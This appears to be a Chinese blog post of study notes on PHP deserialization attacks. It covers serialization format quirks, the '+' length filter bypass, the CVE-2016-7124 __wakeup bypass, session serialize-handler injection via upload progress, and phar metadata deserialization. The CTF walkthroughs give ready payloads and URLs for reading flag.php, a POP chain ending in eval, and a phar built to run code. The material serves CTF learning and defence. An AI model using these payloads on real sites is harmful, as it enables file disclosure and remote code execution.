PHP反序列化笔记

article/2025/4/8 15:54:20

目录

文章目录

  • 目录
  • private变量与protected变量序列化后的特点
  • 序列化后的字段长度前面可以加 +
    • 题目
    • 解题步骤
  • CVE-2016-7124
    • 漏洞介绍
    • 演示代码
    • 题目
    • 解题步骤
  • PHP Session 反序列化
    • PHP的3种序列化处理器
    • 安全问题
      • 当 session.auto_start=Off 时
        • 测试Demo
    • 题目
    • 解题步骤
  • phar反序列化

private变量与protected变量序列化后的特点

\x00 + 类名 + \x00 + 变量名 -> 反序列化为private变量\x00 + * + \x00 + 变量名 -> 反序列化为protected变量
<?php
highlight_file(__FILE__);
class user{private $name2 = 'leo';protected $age2 = 19;public function print_data(){echo $this->name2 . ' is ' . $this->age2 . ' years old <br>';}
}$user = new user();
$user->print_data();
echo serialize($user);?> leo is 19 years old
O:4:"user":2:{s:11:"username2";s:3:"leo";s:7:"*age2";i:19;}

序列化后的字段长度前面可以加 +

题目

<?php  
@error_reporting(1); 
class baby 
{   public $file;function __toString()      {          if(isset($this->file)) {$filename = "./{$this->file}";        if (file_get_contents($filename))         {              return file_get_contents($filename); } }     }  
}  
if (isset($_GET['data']))  
{ $data = $_GET['data'];preg_match('/[oc]:\d+:/i',$data,$matches); // 这里匹配到O后面跟着数字就拦截if(count($matches)){die('Hacker!');}else{$good = unserialize($data);echo $good;}     
} 
else 
{ highlight_file("./index.php"); 
} 
?> 

解题步骤

  1. 构造序列化对象
<?php
// highlight_file(__FILE__);
class baby 
{   public $file;function __toString()      {          if(isset($this->file)) {$filename = "./{$this->file}";        if (file_get_contents($filename))         {              return file_get_contents($filename); } }     }  
}  $baby = new baby();
$baby->file = 'flag.php';
echo serialize($baby);?>得到如下内容:
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
  1. 重构对象
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
  1. url编码
O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
  1. 访问
http://127.0.0.1/ctf.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

CVE-2016-7124

漏洞介绍

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

演示代码

<?php
highlight_file(__FILE__);
class test{var $bull;public function __destruct(){$this->bull = "destruct<br/>";echo $this->bull;echo "destruct ok!<br/>";}public function __wakeup(){$this->bull = "wake up<br/>";echo $this->bull;echo "wake up ok!<br/>";}}
// 正常payload
// $payload = O:4:"test":1:{s:4:"bull";s:4:"sdfz";}
// 触发漏洞的payload
$payload = 'O:4:"test":2:{s:4:"bull";s:4:"sdfz";}';
$abc = unserialize($payload);?>

题目

<?phpclass SoFun{ protected $file='index.php';public function __construct($file){$this->file = $file;}function __destruct(){if(!empty($this->file)) {//查找file文件中的字符串,如果有'\\'和'/'在字符串中,就显示错误if(strchr($this->file,"\\")===false &&  strchr($this->file, '/')===false){show_source(dirname (__FILE__).'/'.$this ->file);}else{die('Wrong filename.');}}}function __wakeup(){ $this-> file='index.php';} public function __toString(){return '';}
}     if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode( $_GET['file']); echo unserialize($file); } 
?>  

解题步骤

  1. 获得反序列化对象
<?phpclass SoFun{ protected $file='index.php';public function __construct($file){$this->file = $file;}function __destruct(){if(!empty($this->file)) {//查找file文件中的字符串,如果有'\\'和'/'在字符串中,就显示错误if(strchr($this->file,"\\")===false &&  strchr($this->file, '/')===false){show_source(dirname (__FILE__).'/'.$this ->file);}else{die('Wrong filename.');}}}function __wakeup(){ $this-> file='index.php';} public function __toString(){return '';}
}     if (!isset($_GET['file'])){ //show_source('index.php'); } else{ $file=base64_decode( $_GET['file']); echo unserialize($file); } $test = new SoFun('flag.php');echo base64_encode(serialize($test));结果:
Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
?>  
  1. 利用漏洞
# 把变量数量更改为大于实际的变量数量并重新用base64编码
Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
  1. 访问URL
http://127.0.0.1/test.php?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

PHP Session 反序列化

PHP的3种序列化处理器

PHP 内置了多种处理器用于存取$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式

处理器对应的存储格式
php键名 + 竖线 + 经过 serialize() 函数序列化处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
php_serialize(php>=5.5.4)经过 serialize() 函数序列化处理的数组

安全问题

当 session.auto_start=Off 时

当PHP序列化使用的是php_serialize,反序列化使用的是php的时候就会出现安全问题

此时注入的数据是a=|O:4:“test”:0:{}
那么通过php_serialize反序列化储存的结果就是a:1:{s:1:“a”;s:16:"|O:4:“test”:0:{}";}
根据php的反序列化格式( 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 ),此时a:1:{s:1:“a”;s:16:" 就会被当作键名, O:4:“test”:0:{}"; 就会被当作序列化后的值

测试Demo

1.php

<?php
ini_set("session.serialize_handler", 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

2.php

<?php
ini_set("session.serialize_handler", 'php');
session_start();
class peiqi{public $meat = '123';function __wakeup(){echo "I AM Peiqi";}function __destruct(){echo $this->meat;}
}
?>

先对2.php的peiqi类进行序列化

<?php
class peiqi{public $meat = '123';function __wakeup(){echo "I AM Peiqi";}function __destruct(){echo $this->meat;}
}$a = new peiqi();
$a->meat = '3333';
echo serialize($a);
// 输出结果O:5:"peiqi":1:{s:4:"meat";s:4:"3333";}
?>

通过1.php文件 把序列化后的内容写入到session 主要前面要加|

http://localhost/test/1.php?a=|O:5:"peiqi":1:{s:4:"meat";s:4:"3333";}

然后访问2.php 触发php处理器进行反序列化session文件

在这里插入图片描述
此时session文件里面的内容
在这里插入图片描述

题目

index.php

<?phpini_set('session.serialize_handler', 'php');//服务器反序列化使用的处理器是php_serialize,而这里使用了php,所以会出现安全问题require("./class.php");session_start();$obj = new foo1();$obj->varr = "phpinfo.php";
?>

phpinfo.php

<?phpsession_start();require("./class.php");$f3 = new foo3();$f3->varr = "phpinfo();";$f3->execute();
?>

在这里插入图片描述
这里为了方便实验把session.upload_progress.cleanup 变成off

class.php

<?phphighlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);class foo1{public $varr;function __construct(){$this->varr = "index.php";}function __destruct(){if(file_exists($this->varr)){echo "<br>文件".$this->varr."存在<br>";}echo "<br>这是foo1的析构函数<br>";}
}class foo2{public $varr;public $obj;function __construct(){$this->varr = '1234567890';$this->obj = null;}function __toString(){$this->obj->execute();return $this->varr;}function __desctuct(){echo "<br>这是foo2的析构函数<br>";}
}class foo3{public $varr;function execute(){eval($this->varr);}function __desctuct(){echo "<br>这是foo3的析构函数<br>";}
}?>

解题步骤

通过上面的学习,我们明白需要通过php_serialize来序列化,通过php来进行反序列化。

所以我们通过phpinfo.php来序列化,通过index.php来反序列化

但是我们如何往session里面写入内容呢?

当session.upload_progress.enabled开启时,PHP能够在每一个文件上传时监测上传进度。

当POST中有一个变量与php.ini中的session.upload_progress.name变量值相同时,上传进度就会写入到session中
在这里插入图片描述

写入到session的数据内容为:session.upload_progress.prefix与 session.upload_progress.name连接在一起的值
在这里插入图片描述

链接:https://bugs.php.net/bug.php?id=71101

<form action="http://127.0.0.1/test/phpinfo.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" /><input type="file" name="file" /><input type="submit" />
</form>

这样我们就可以控制session里面的内容了

这样利用漏洞的2个条件都有了

我们在看下3个php代码之间的关系

  1. php.php -> 用来写入序列化内容
  2. index.php -> 用来进行反序列化
  3. class.php -> 用来被触发执行恶意代码

我们在仔细看下class.php的代码

在这之前我们先介绍下,PHP的常用魔术方法

  1. __wakeup:unserialize( )会检查是否存在一个_wakeup( ) 方法。如果存在,则会先调用_wakeup 方法,预先准备对象需要的资源
  2. __construct:具有构造函数的类会在每次创建新对象时先调用此方法。
  3. __destruct:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
  4. __toString:_toString( ) 方法用于一个类被当成字符串时应怎样回应。

在class.php的foo3类中我们看到

function execute(){eval($this->varr);}

所以我们需要给varr赋值,来执行语句

在foo2中我们看到

function __toString(){$this->obj->execute();return $this->varr;}

所以我们需要把obj实例化成foo3对象,并且这个是__tosgtring()的魔术方法

在foo1中我们看到

function __destruct(){if(file_exists($this->varr)){echo "<br>文件".$this->varr."存在<br>";}echo "<br>这是foo1的析构函数<br>";}

所以我们需要把varr实例化成foo2,来调用__tostring的魔术方法

  1. 我们先构造序列化内容
<?phphighlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);class foo1{public $varr;function __construct(){$this->varr = "index.php";}function __destruct(){if(file_exists($this->varr)){echo "<br>文件".$this->varr."存在<br>";}echo "<br>这是foo1的析构函数<br>";}
}class foo2{public $varr;public $obj;function __construct(){$this->varr = '1234567890';$this->obj = null;}function __toString(){$this->obj->execute();return $this->varr;}function __desctuct(){echo "<br>这是foo2的析构函数<br>";}
}class foo3{public $varr;function execute(){eval($this->varr);}function __desctuct(){echo "<br>这是foo3的析构函数<br>";}
}$a = new foo1();
$b= new foo2();
$c = new foo3();
$a->varr = $b;
$b->obj = $c;
$c->varr = "echo 'dfz';";echo serialize($a);
// 输出结果:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:11:"echo 'dfz';";}}}?>
  1. 通过html页面,写入到session,同时序列化内容前要加上 |

在这里插入图片描述

  1. 访问index.php

在这里插入图片描述

phar反序列化

https://blog.ripstech.com/2018/new-php-exploitation-technique/

利用phar函数可以在不适用unserialize()函数的情况下触发PHP反序列化漏洞

漏洞点在使用phar://协议读取文件时,文件内容会被解析成phar对象,然后phar对象内的Meta data信息会被反序列化

通过一下代码创建一个phar文件

<?php
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
?>

若出现下面这样的提示

Fatal error: Uncaught exception 'UnexpectedValueException' with message 'creating archive "test.phar" disabled by the php.ini setting phar.readonly' in D:\phpstudy\PHPTutorial\WWW\test\phar.php:3 Stack trace: #0 D:\phpstudy\PHPTutorial\WWW\test\phar.php(3): Phar->__construct('test.phar') #1 {main} thrown in D:\phpstudy\PHPTutorial\WWW\test\phar.php on line 3

把php.ini中的phar.readonly 改为 Off重启即可

在这里插入图片描述

phar文件的二进制内容如下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o0wD256y-1579182366114)(F25E15F8D906448EAA764377830317A1)]

这个时候我们创建另一个php

<?php
class AnyClass {function __destruct() {echo $this->data;}
}
// output: rips
include('phar://test.phar');
?>

访问就可以看到网页输出rips

在这里插入图片描述

除了include还可以使用下列函数

include('phar://test.phar');
var_dump(file_exists('phar://test.phar'));
var_dump(file_get_contents('phar://test.phar'));
var_dump(file('phar://test.phar'));
# 改了文件名同样有效果
var_dump(file_get_contents('phar://test.jpg'));
var_dump(file_exists('phar://test.jpg'));
var_dump(file('phar://test.jpg'));
include('phar://test.jpg');// 网站上的代码,同样可以
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);

md5_file($_GET[‘file’]);演示:

在这里插入图片描述

这样我们利用phar来执行任意代码

<?php
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$object->data1 = 'phpinfo();';
$phar->setMetadata($object);
$phar->stopBuffering();
?>
<?php
class AnyClass {function __destruct() {echo $this->data;eval($this->data1);}
}
// output: rips
md5_file($_GET['file']);
?>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z10zqMEY-1579182366120)(BA82AE34F2D7412BBAB83351808E9356)]


http://chatgpt.dhexx.cn/article/0lJLXiDD.shtml

相关文章

2022/3/28 PHP反序列化

小迪 参考&#xff1a; https://www.bilibili.com/video/BV1JZ4y1c7ro?p36&spm_id_from333.880.my_history.page.click https://blog.csdn.net/Hardworking666/article/details/122373938 https://blog.csdn.net/Hardworking666/article/details/112725423 补充&#xff…

PHP反序列化漏洞-从入门到提升

目录 第一章 PHP序列化基础 1.1 PHP序列化 1.1.1 PHP序列化概述 1.1.2 标准序列化 1.1.3 自定义序列化 1.1.4 序列化存储和转发 1.2 PHP反序列化 1.2.1 标准反序列化 1.2.2 未定义类的反序列化 1.2.3 Protected、Private属性反序列化 1.3 PHP序列化相关magic函数 1…

php反序列化及__toString()

思路&#xff1a; 1./?sdata://text/plain,XXXXXX 2.include …php 3._tostring() echo unserialize(pass) echo file_get_content($this-file&#xff09; 把反序列化属性的值读取并输出 主要两个文件 index.php <?php $user $_GET["user"]; $file $_GET[…

PHP反序列化字符串逃逸

例题可看&#xff1a;https://www.cnblogs.com/v2ish1yan/articles/16118319.html 今天才学的&#xff0c;做个记录。 字符串逃逸分为两种&#xff0c;减少和增多。 主要是通过一个preg_replace()函数来进行字符串的减少和增多。 首先要知道逃逸的原理&#xff0c;就是反序…

浅析php反序列化原生类的利用

浅析php反序列化原生类的利用 如果在代码审计或者ctf中&#xff0c;有反序列化的功能点&#xff0c;但是却不能构造出完整的pop链&#xff0c;那这时我们应该如何破局呢&#xff1f;我们可以尝试一下从php原生类下手&#xff0c;php有些原生类中内置一些魔术方法&#xff0c;如…

CTF php反序列化总结

前言&#xff1a;本⼈⽔平不⾼&#xff0c;只能做⼀些类似收集总结这样的⼯作&#xff0c;本篇文章是我自己在学php反序列化写的一篇姿势收集与总结&#xff0c;有不对的地方欢迎师傅们批评指正~ php反序列化 定义&#xff1a;序列化就是将对象转换成字符串。反序列化相反&am…

PHP反序列化命令执行及防范

PHP反序列化命令执行 1、 序列化与反序列化原理 序列化&#xff08;serialization&#xff09;在计算机科学的数据处理中&#xff0c;是指将数据结构或对象状态转换成可取用格式&#xff08;例如存成文件&#xff0c;存于缓冲&#xff0c;或经由网络中发送&#xff09;&#…

PHP反序列化魔术方法

目录 __construct __destruct __call __get __set __isset __unset __sleep __wakeup __toString __invoke PHP讲以双下划线__保留为魔术方法&#xff0c;所有的魔术方法 必须 声明为 public。 __construct()&#xff0c;类的构造函数 __destruct()&#xff0c;类的析…

PHP反序列化详解(一)——反序列化基础

今天继续给大家介绍渗透测试相关知识&#xff0c;本文主要内容是PHP反序列化详解&#xff08;一&#xff09;——反序列化基础。 免责声明&#xff1a; 本文所介绍的内容仅做学习交流使用&#xff0c;严禁利用文中技术进行非法行为&#xff0c;否则造成一切严重后果自负&#x…

php反序列化姿势学习

php反序列化姿势学习 1.__wakeup()函数绕过2./[oc]:\d:/i研究php反序列化逃逸1.替换后字符串增加2.替换后字符串减少 1.__wakeup()函数绕过 wakeup函数作为php反序列化中的一个函数&#xff0c;也经常被拿来当做考点&#xff0c;比如这样 function __wakeup() { if ($this->…

【web漏洞】PHP反序列化

目录 知识点反序列化常用方法&#xff1a;序列化的&#xff08;构造payload&#xff09;运行顺序反序列化的&#xff08;实现payload&#xff09;运行顺序绕过__wakeup()__tostring() 知识点 序列化&#xff08;serialize&#xff09;&#xff1a; 对象的状态信息转换为可以存…

PHP反序列化CTF例题

渗透学习 不安全的反序列化之PHP反序列化 文章目录 渗透学习前言*本文只做学习用途&#xff0c;严禁利用本文提到的技术进行非法攻击&#xff0c;否则后果自负&#xff0c;本人不承担任何责任。* 一、CTF例题二、PHP反序列化漏洞和XSS跨站脚本总结 前言 本系列用于记录本人渗…

php反序列化漏洞

php反序列化漏洞 关于php面向对象编程&#xff1a; 对象&#xff1a;可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。 类&#xff1a;一个共享相同结构和行为的对象的集合。 每个类的定义都以关键字class开头&#xff0c;后面跟着类的名字。一个类可以包含有…

PHP反序列化漏洞总结

文章目录 一、 基础知识1、什么是反序列化漏洞:序列化与反序列化&#xff1a;1、序列化&#xff1a;2、反序列化&#xff1a; 二、PHP魔法函数1、常见方法:2、安全问题&#xff1a; 三、CTF中的反序列化例题一&#xff1a;例题二&#xff1a; 四、靶场练习1、反序列化触发XSS&a…

通过简单案例接触PHP反序列化

渗透学习 不安全的反序列化之反序列化基础 文章目录 渗透学习前言*本文只做学习用途&#xff0c;严禁利用本文提到的技术进行非法攻击&#xff0c;否则后果自负&#xff0c;本人不承担任何责任。* 一、序列化和反序列化二、PHP反序列化漏洞1.serialize()2.unserialize()3.反序…

php反序列化--字符串逃逸

php反序列化–字符串逃逸 PHP反序列化的字符串逃逸&#xff0c;一共分有两种情况&#xff0c;情况一&#xff1a;过滤后字符串变多&#xff0c;情况二&#xff1a;过滤后字符变少(本篇文章默认已有反序列化相关知识基础) 过滤后字符串变多 以ctfshow-web262为例讲解&#xf…

php反序列化漏洞(一)

PHP反序列化漏洞就是PHP对象注入 序列化&#xff1a;serialize 反序列化&#xff1a;unserialize 序列化其实就是将数据转换成可逆的数据结构&#xff0c;这种数据结构可认为是字符串。可逆的过程则为反序列化。 那么序列化有什么作用&#xff1f; 方便储存和传输。在PHP中…

php反序列化字符逃逸

前言 在了解php反序列化漏洞后&#xff0c;我又进一步学习了字符逃逸的相关内容。这一部分相对来说是比较难理解的。我也是在网上看了很多篇文章&#xff0c;再次自己总结一下究竟什么是字符逃逸&#xff0c;也方便日后复习。 字符逃逸的原理 什么是字符逃逸&#xff0c;从字…

php反序列化[基础]

基础 概述 序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组&#xff0c;字符串&#xff0c;对象等 函数 : serialize() 反序列化:恢复原先被序列化的变量 函数: unserialize() serialize()函数用于序列化对象或数组&#xff0c;并返回一个字符串 据访问修饰…

PHP中序列化与反序列化

PHP序列化&#xff1a;serialize 序列化是将变量或对象转换成字符串的过程。 举例&#xff1a; <?php class man{public $name;public $age;public $height;function __construct($name,$age,$height){ //_construct&#xff1a;创建对象时初始化$this->name …